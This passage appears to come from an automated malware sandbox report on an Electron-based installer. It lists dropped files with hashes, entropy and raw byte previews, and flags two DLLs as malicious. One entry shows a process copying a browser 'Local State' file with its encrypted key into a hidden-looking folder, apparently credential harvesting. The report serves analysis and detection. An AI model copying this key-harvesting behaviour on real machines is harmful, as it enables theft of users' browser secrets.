                                                                                                                                                                                                                                                                Preview:............h.j...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.!...}.3.....;.....@.....H.....P.....X....._.....f.....m.....n.....o.....q...............................................(.....2.....Y.....x.....z.....~................................... .....+.....D.....t...........................................................5.....L.....V.....a.....r...........................................................T.....q.................................................................o...................................<.....P.....[.....i.....|.........................................#.....:.....A.....D.....E.....N.....W.....c.....m.......................4.....C.....................................................2.....=....._.............................4.....i....................................... .....".....%.....(.E...*.j...+.m...,.........../.....0.....1.....3.....4.*...5.?...6.y...7.....8.....9.....;.....<.....=.....>.....?.'...@.I...A.u...C...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\zh-CN.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):354097
                                                                                                                                                                                                                                                                Entropy (8bit):6.680890808929274
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:gchsAAfyrtJw99jEaZx79+vKK4/+kTme5zBNCJ7GAmlv:gAAfyrtJAoaZ+vKK4/ye5zBNCJ7C
                                                                                                                                                                                                                                                                MD5:20F315D38E3B2EDC5832931E7770B62A
                                                                                                                                                                                                                                                                SHA1:2390BD585DEC1E884873454BB98B6F1467DCF7BB
                                                                                                                                                                                                                                                                SHA-256:53A803724BBF2E7F40AAB860325C348F786EECA1EA5CA39A76B4C4A616E3233F
                                                                                                                                                                                                                                                                SHA-512:C338E241DE3561707C7C275B7D6E0FB16185A8CD7112057C08B74FFCE122148EF693FE310C839FF93F102726A78E61DE3E68C8E324F445A07A98EE9C4FDD4E13
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........?.h.....i.....j.....k.&...l.-...m.5...o.;...p.@...r.F...s.W...t.`...v.u...w.....|.....}...............................................................................%.....1.....C.....I.....\.....s.....y.....................................................#...../.....G.....S....._.................................................................+.....:.....@.....I.....[.....m.....s.....y...............................................$.....0.....6.....>.....E.....Q.....].....i............................................... .....D.....b.....q.....w............................................................................. .....5.....>.....G.....M.....W.....a.............................K.....].....o.................................................................,.....>.....g............................................. .....".....%.....(.)...*.>...+.A...,.n........./.....0.....1.....3.....4.....5.....6.N...7.c...8.x...9.....;.....<.....=.....>.....?.....@.....A.P...C.w...D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\locales\zh-TW.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):350032
                                                                                                                                                                                                                                                                Entropy (8bit):6.69437398216595
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:BiwxICJkrCU2JLuRyMD+4qz5MHzCtMkZ/9ybT1:BiyS0pMD+4qz5MHzd6/o
                                                                                                                                                                                                                                                                MD5:524711882CBFB5B95A63EF48F884CFF0
                                                                                                                                                                                                                                                                SHA1:1078037687CFC5D038EEB8B63D295239E0EDC47A
                                                                                                                                                                                                                                                                SHA-256:9E16499CD96A155D410C8DF4C812C52FF2A750F8C4DB87FD891C1E58C1428C78
                                                                                                                                                                                                                                                                SHA-512:16D45A81F7F4606EDA9D12A8B1DA06E3C866B11BDC0C92A4022BFB8D02B885D8F028457CF23E3F7589DFD191ED7F7FBC68C81B6E1411834EDFCBC9CC85E0DC4D
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:..........\.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.-...t.6...v.K...w.X...y.^...z.m...|.s...}..................................................................................... .....8.....N.....Z.....m...........................................................!.....*.....6.....S.....`.....l.....~.......................................................................#.....)...../.....5.....M.....\.....k.....}.............................................................................'.....T.....`.....l.....................................................,...../.....;.....M....._.....s.............................................................................I.....v.....|...............................................!.....'.....-.....?.....i.....................................................$.....8.....A... .M..."._...%.z...(.....*.....+.....,.........../.....0.....1.@...3.Q...4.i...5.....6.....7.....8.....9.....;.....<.....=.-...>.F...?.P...@.e...A.....C.....D...

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resources.pak

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):5245458
                                                                                                                                                                                                                                                                Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                                                MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                                                SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                                                SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                                                SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resources\app.asar

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):9011156
                                                                                                                                                                                                                                                                Entropy (8bit):5.616657213501445
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:49152:yn9CyBK3UK9tUv3UuAdFUnBUecSHNXC4215nL2S26L82ELcAJvsvRRvy4vS716Di:yyUkoJ
                                                                                                                                                                                                                                                                MD5:44F2EC0361E44BFFE19B1E2E2A84FE24
                                                                                                                                                                                                                                                                SHA1:1298B23792E103F07485E59A2CAEA5F749C9C516
                                                                                                                                                                                                                                                                SHA-256:610C477C7EB97B949263B8CC9311CCBEDA81ED06D25094028D4045FB217242F5
                                                                                                                                                                                                                                                                SHA-512:8220DDBC5939D49FE49E6BF543FC5D52E4FE5E6986751BE17EC2E28F749C17399A7983553FF4AF95277E3618670ED58C3975A2A683EBDF6B08CBBD6CA6786C47
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:....L+..H+..D+..{"files":{"node_modules":{"files":{"@isaacs":{"files":{"cliui":{"files":{"LICENSE.txt":{"size":731,"integrity":{"algorithm":"SHA256","hash":"2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149","blockSize":4194304,"blocks":["2dc0465729366c3a7890dfa9e972a1ba7048a26c02116fb8b419a6a1ac110149"]},"offset":"0"},"build":{"files":{"index.cjs":{"size":10398,"integrity":{"algorithm":"SHA256","hash":"820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607","blockSize":4194304,"blocks":["820aa357a7f6a022bfc3ac6ac19d1681921d0421cae898d5096423c0fb3b8607"]},"offset":"731"},"index.d.cts":{"size":1050,"integrity":{"algorithm":"SHA256","hash":"385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b","blockSize":4194304,"blocks":["385fceba2f49ee3f91cd436d3f84b389375e1e8f86906b23f47df2e1b9c2b17b"]},"offset":"11129"},"lib":{"files":{"index.js":{"size":10100,"integrity":{"algorithm":"SHA256","hash":"e67b3446f47d4a672339c99bea9e987979da9fc70f421701814cb9d52ba176

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\resources\elevate.exe

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):107520
                                                                                                                                                                                                                                                                Entropy (8bit):6.442687067441468
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
                                                                                                                                                                                                                                                                MD5:792B92C8AD13C46F27C7CED0810694DF
                                                                                                                                                                                                                                                                SHA1:D8D449B92DE20A57DF722DF46435BA4553ECC802
                                                                                                                                                                                                                                                                SHA-256:9B1FBF0C11C520AE714AF8AA9AF12CFD48503EEDECD7398D8992EE94D1B4DC37
                                                                                                                                                                                                                                                                SHA-512:6C247254DC18ED81213A978CCE2E321D6692848C64307097D2C43432A42F4F4F6D3CF22FB92610DFA8B7B16A5F1D94E9017CF64F88F2D08E79C0FE71A9121E40
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B..O..............h.......j.q.....k.....e......e......e.......zR........._...h......h.f.............h......Rich....................PE..L......W............................l........0....@.......................................@....................................P.......x.......................T.......p...............................@............0..$............................text............................... ..`.rdata...k...0...l..................@..@.data...............................@....gfids..............................@..@.rsrc...x...........................@..@.reloc..T...........................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\snapshot_blob.bin

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):273328
                                                                                                                                                                                                                                                                Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                                                MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                                                SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                                                SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                                                SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\v8_context_snapshot.bin

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):588152
                                                                                                                                                                                                                                                                Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                                                MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                                                SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                                                SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                                                SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vk_swiftshader.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):5334528
                                                                                                                                                                                                                                                                Entropy (8bit):6.335261874351837
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:98304:RKJSTu+985EkjstvgsnpkkHF3y/AFIB7:RQq85EkjstvgsnpkkJETB
                                                                                                                                                                                                                                                                MD5:524B0D85D992F86A7F26C162F3DBB91C
                                                                                                                                                                                                                                                                SHA1:BC9C862FD01F6134A0514DCB63F9FAB7A61CE269
                                                                                                                                                                                                                                                                SHA-256:5B2FFB78FA963F2DEA5A7FCF7676FC3ABA243C4372D7528C8F1FC8F726D0A3FA
                                                                                                                                                                                                                                                                SHA-512:422A18AF294D7551224E05F5F4F5DCFA51B3455C2E61FC285FD2B95B50274EB77FF317647E17B0E7D47459B4FED19C7C88C90E0878F2269A78D598B1196401D8
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......A..........;.......................................R...........`A..........................................L.~...&.L.P....`R.......P.<_...........pR.X}...L.......................L.(...@.A.@.............L.P............................text.....A.......A................. ..`.rdata...(....A..*....A.............@..@.data...p.....M.......M.............@....pdata..<_....P..`...LO.............@..@.00cfg..8.....Q.......P.............@..@.gxfg....,....R.......P.............@..@.retplne.....0R.......P..................tls....Q....@R.......P.............@..._RDATA..\....PR.......P.............@..@.rsrc........`R.......P.............@..@.reloc..X}...pR..~....P.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vk_swiftshader_icd.json

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):106
                                                                                                                                                                                                                                                                Entropy (8bit):4.724752649036734
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:3:YD96WyV18tzsmyXLVi1rTVWSCwW2TJHzeZ18rY:Y8WyV18tAZLVmCwXFiZ18rY
                                                                                                                                                                                                                                                                MD5:8642DD3A87E2DE6E991FAE08458E302B
                                                                                                                                                                                                                                                                SHA1:9C06735C31CEC00600FD763A92F8112D085BD12A
                                                                                                                                                                                                                                                                SHA-256:32D83FF113FEF532A9F97E0D2831F8656628AB1C99E9060F0332B1532839AFD9
                                                                                                                                                                                                                                                                SHA-512:F5D37D1B45B006161E4CEFEEBBA1E33AF879A3A51D16EE3FF8C3968C0C36BBAFAE379BF9124C13310B77774C9CBB4FA53114E83F5B48B5314132736E5BB4496F
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:{"file_format_version": "1.0.0", "ICD": {"library_path": ".\\vk_swiftshader.dll", "api_version": "1.0.5"}}

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\7z-out\vulkan-1.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):928256
                                                                                                                                                                                                                                                                Entropy (8bit):6.558092096809165
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:24576:IEW7F7IyaHx/fempu2e6Z5WODYsHh6g3P0zAk7o:e7IyaBfempa6Z5WODYsHh6g3P0zAk7
                                                                                                                                                                                                                                                                MD5:6D4ADF9A48DBCE2E480EF10B1338CA3C
                                                                                                                                                                                                                                                                SHA1:CEB77D5768C6EDA84EC8E0B43821B8027764DE81
                                                                                                                                                                                                                                                                SHA-256:4CCA7E6C05B2D988926E4B4D0C8FF91D6356F18DE8BF40B440251180E5CAD6A7
                                                                                                                                                                                                                                                                SHA-512:106DB7309B40AFABB1CCA911B204C83129683DC116AEC198568C4228C581BF0DE5963BFFC0B50DF8F43EC355264F271FC383F4155BE45350C0D7DD429C7F7F09
                                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......................................................................`A........................................H...<!......P...............<o..............T...t.......................X...(...@...@............................................text............................... ..`.rdata..............................@..@.data....L...p... ...V..............@....pdata..<o.......p...v..............@..@.00cfg..8....0......................@..@.gxfg...P(...@...*..................@..@.retplne.....p...........................tls................................@..._RDATA..\...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\System.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):12288
                                                                                                                                                                                                                                                                Entropy (8bit):5.719859767584478
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
                                                                                                                                                                                                                                                                MD5:0D7AD4F45DC6F5AA87F606D0331C6901
                                                                                                                                                                                                                                                                SHA1:48DF0911F0484CBE2A8CDD5362140B63C41EE457
                                                                                                                                                                                                                                                                SHA-256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
                                                                                                                                                                                                                                                                SHA-512:C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr*.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\app-64.7z

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:7-zip archive data, version 0.4
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):64507130
                                                                                                                                                                                                                                                                Entropy (8bit):7.9999951480620295
                                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                                SSDEEP:786432:XAn7RdjjBjBUMgNujL7d10IUqGDK8TjYdntzwFmlcs2kWqgLEL5jT1VWW1Aaxp4+:GjddpgbIUqiKkYtpwFPihmSxS304C
                                                                                                                                                                                                                                                                MD5:8BD1413AE56D2F1FCB0A6A7DC4A59E88
                                                                                                                                                                                                                                                                SHA1:55E0CF2B5EE4E2797064E82C8D542ED41766D6BC
                                                                                                                                                                                                                                                                SHA-256:6489FD4E3295648862FD5B3F665B45B4BF452ED264693A6800526528FF4FEED4
                                                                                                                                                                                                                                                                SHA-512:4D9CA73C7A521EC726A505649A9D4561BCFEC4DFC9E48D1051972CFA6E408E2744F5AB114613350872B19AF8DB38849814DC358FDE0DF5F06842F396D6BC8510
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:7z..'...\..s.L......%.......Y2....R..]...6...#k.![y.`.Gr#.f..F......./.t..C..8.^..k .....@..........ih..w*.`.c...I...;.R.A`../_.Q:..yn........6...a {.f_.....>..`..Nu.....q/..H...hsIhA.5..... .9.[...L./.(.^.+Vz@.Dt7OZI.z.N...~;].rW..k......s...^<i ...w.`3.}............T.Z.v.m..W8..m...........k..8..w+.8..9N.C......._; ..u.J........i43.d.......`....r."O.E...'.{h....'....$.M.$..Y....&.+.r|T....aF.T.9...&..sh....I..;.qP.Y..........V..^..P.:...D.."..@Cw...%8.h.5....6V/0..]....%7.Z.P..w..J..].....M..^......+..BMZ..&..}.6l..hT..t).?2....1...F..H..+...0.s.}.S.-x;...f.b}....8.R.@.....r.....Ib......$(/^XdI..46G..Q....`......h..H.U......p..[.Sa-Q@G.......h!....Z....2$.^.IqZ...~~CUB..#.nAp5.k..K....O".G.(......N...>`.k.....;.~A.X.e.mzUq.L...o..PH..WxfRH..z..dT!."d.W.4...Tx... ..Y<..1.P.#.W..Z7.f.z.R...u6.......C.+?.....p.d........".<.../h.Y..`u<m.y.u.Lh.Fz...#...F).,..G.~..'..Mx.s:3..V..m..[%.B.V[...V.Id_.~i6..$...H.ywyg.D.lA.`.H..+..X..@H....

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\nsaE915.tmp\nsis7z.dll

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\NativeApp_G5L1NHZZ.exe
                                                                                                                                                                                                                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):434176
                                                                                                                                                                                                                                                                Entropy (8bit):6.584811966667578
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:6144:aUWQQ5O3fz0NG3ucDaEUTWfk+ZA0NrCL/k+uyoyBOX1okfW7w+Pfzqibckl:an5QEG39fPAkrE4yrBOXDfaNbck
                                                                                                                                                                                                                                                                MD5:80E44CE4895304C6A3A831310FBF8CD0
                                                                                                                                                                                                                                                                SHA1:36BD49AE21C460BE5753A904B4501F1ABCA53508
                                                                                                                                                                                                                                                                SHA-256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
                                                                                                                                                                                                                                                                SHA-512:C8BA7B1F9113EAD23E993E74A48C4427AE3562C1F6D9910B2BBE6806C9107CF7D94BC7D204613E4743D0CD869E00DAFD4FB54AAD1E8ADB69C553F3B9E5BC64DF
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......L.6a..X2..X2..X2m.[3..X2m.]3..X2Z.]3+.X2Z.\3..X2Z.[3..X2m.\3..X2m.Y3..X2..Y2..X2..\3#.X2..]3..X2..X3..X2...2..X2...2..X2..Z3..X2Rich..X2........PE..L.....\...........!......................... ...............................@............@..........................6.......7..d................................E.....................................@............ ...............................text............................... ..`.rdata..8"... ...$..................@..@.data........P... ...6..............@....rsrc................V..............@..@.reloc...E.......F...Z..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex\Local State (copy)

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                                Size (bytes):389
                                                                                                                                                                                                                                                                Entropy (8bit):5.622783085510163
                                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                                SSDEEP:12:YKWSg99rrt+BufBZ8qZtzx3SuVAwLNLLu9ls:YKWfrrt0aBZhztSuVBNT
                                                                                                                                                                                                                                                                MD5:BD424D68AE9DEBA91AA9A6350C40A7EB
                                                                                                                                                                                                                                                                SHA1:A92D16896C70E6AE340CF0FB3BBACB07D30F1DF7
                                                                                                                                                                                                                                                                SHA-256:8BD45837D85461D7029F7438D741FAD5B15AA69F43A2586B980A49F0E3A4C212
                                                                                                                                                                                                                                                                SHA-512:45313C3D340C3BA4AC05B0D0D99146047CCCE5FC1F6F492275B68F552C8EE556B3ECA91BDCC278F2C681F66625039B9102B7032BEF7F6D0048887E100EF4BE69
                                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                                Preview:{"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAACwZIk/Hgf4SoUmo4O16FoBAAAAAAIAAAAAABBmAAAAAQAAIAAAALvxVkizemMzZ4rd/+pbKEwXFnJorZuwHpzmbmLuHeUIAAAAAA6AAAAAAgAAIAAAAGbVC8mjcwa8HU4rbwvSWwGprSP2gAhvisIWJoPjHCYtMAAAALBU8J9aDZ+YcZCmailrvZ+OdAYfmmoNQxd6nLok/5/zZ1cK7wAniEgwbtgon0JMPkAAAACJpGV5OWsxk8BC03fXdLbxD23f8MjtKN5ZX6J/5mYGLadKrN6qP3JYdZPxEKh5thoKHhgGopk4WKeT1Z0fJvsR"}}

                                                                                                                                                                                                                                                                C:\Users\user\AppData\Roaming\evfgtisrmbmqfiex\c3e67003-11cc-40cb-9554-1ea3cbf88850.tmp

                                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\2pgSv0vlYhhdpvvGytqrA5IvWzH\ProtonEditor.exe
                                                                                                                                                                                                                                                                File Type:JSON data
                                                                                                                                                                                                                                                                Category:dropped
